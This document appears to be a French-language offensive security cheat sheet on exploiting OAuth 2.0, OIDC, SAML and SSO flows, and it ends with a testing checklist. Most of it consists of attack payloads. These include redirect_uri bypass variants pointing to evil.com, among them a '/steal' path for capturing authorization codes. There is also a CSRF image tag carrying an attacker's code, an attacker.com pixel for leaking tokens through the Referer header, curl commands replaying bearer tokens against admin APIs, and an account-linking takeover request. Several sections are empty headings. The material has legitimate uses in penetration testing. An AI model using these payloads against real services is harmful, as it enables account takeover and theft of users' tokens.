| name | oauth-sso-exploitation |
| description | Guide complet d'exploitation OAuth 2.0, OIDC, SAML et SSO — CSRF, redirect URI, token leakage, account takeover, misconfiguration, flows OAuth avancés |
| category | cybersecurite |
OAuth 2.0 / SSO — Exploitation Avancée
Comprendre les flux OAuth 2.0
Authorization Code Flow (le plus sécurisé — mais vulnérable)
Client → Auth URL → User login → Redirect avec code →
Client → POST code + client_secret → Token endpoint → Access Token
Implicit Flow (obsolète — dangereux)
Client → Auth URL → User login → Redirect avec access_token dans l'URL
# Token exposé dans l'URL, l'historique, les logs, le referer
Client Credentials Flow
Client → POST client_id + client_secret → Token → API access
# Pour les communications M2M (server-to-server)
Attaques sur le flux Authorization Code
1. CSRF sur OAuth (Parameter Injection)
https://target.com/auth/login?
response_type=code&
client_id=CLIENT_ID_ATTAQUANT&
redirect_uri=https://target.com/callback&
state=FAKE_STATE&
scope=openid%20profile
2. Redirect URI Manipulation
https://target.com/callback
https://target.com/callback.html
https://target.com/callback.evil.com
https://target.com/callback@evil.com
https://target.com/callback.evil.com/
https://target.com%2Fcallback%2F
https://target.com/callback/../evil.com
https://evil.com/
https://target.com/callback?url=https://evil.com
https://target.com/oauth/callback?code=xxx -> redirect -> https://evil.com/steal
3. CSRF Attack sur le callback
<img src="https://target.com/callback?code=ATTACKER_CODE&state=...">
4. State Parameter Validation
- Supprimer le state
- State vide
- State fixe/répétable
- State non lié à la session
Attaques sur le token
5. Code Interception
GET /callback?code=xxx&state=yyy HTTP/1.1
Referer: https://auth.provider.com/authorize?...
6. Token Leakage via Referer
<img src="https://attacker.com/pixel.png">
7. OAuth Token Reuse
curl -H "Authorization: Bearer TOKEN" https://target.com/api/admin/users
curl -H "Authorization: Bearer TOKEN" https://admin.target.com/api/users
Attaques Spécifiques
8. Account Linking / Takeover
GET /oauth/link?provider=facebook&access_token=ATTACKER_TOKEN
9. OpenID Connect (OIDC) Attacks
GET /auth/callback?id_token=XXXXX&state=XXX
10. SAML Attacks (SSO)
11. Provider Confusion
Outils
| Outil | Usage |
|---|
| Burp + Autorize | Tester ACL via OAuth tokens |
| OAUTH2Fuzzer (Burp) | Fuzzing OAuth flows |
| SAML Raider (Burp) | Test SAML/SSO |
| OAuth Scanner (Burp) | Scan auto OAuth |
| oauth2_proxy | Proxy avec OAuth |
| oauth-hacker | Scripts spécialisés |
Détection des endpoints OAuth
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
/oauth/authorize
/oauth/token
/oauth/revoke
/oauth/callback
/auth/login
/auth/callback
/saml/login
/saml/acs
/sso/login
Checklist
☐ Authorization code → CSRF si state non vérifié
☐ redirect_uri validation testée (parsing, open redirect, subdomain)
☐ Code d'autorisation réutilisable ?
☐ Token scope trop permissif ?
☐ Account linking CSRF ?
☐ Provider confusion possible ?
☐ SAML signature wrapping testé
☐ OIDC nonce validation testée
☐ Token leakage via Referer
☐ Client secret exposé (JS, mobile decompile)
☐ PKCE utilisé ? (S256 challenge)
☐ Expiration des tokens courte ?
☐ Rate limiting sur /token ?
Ressources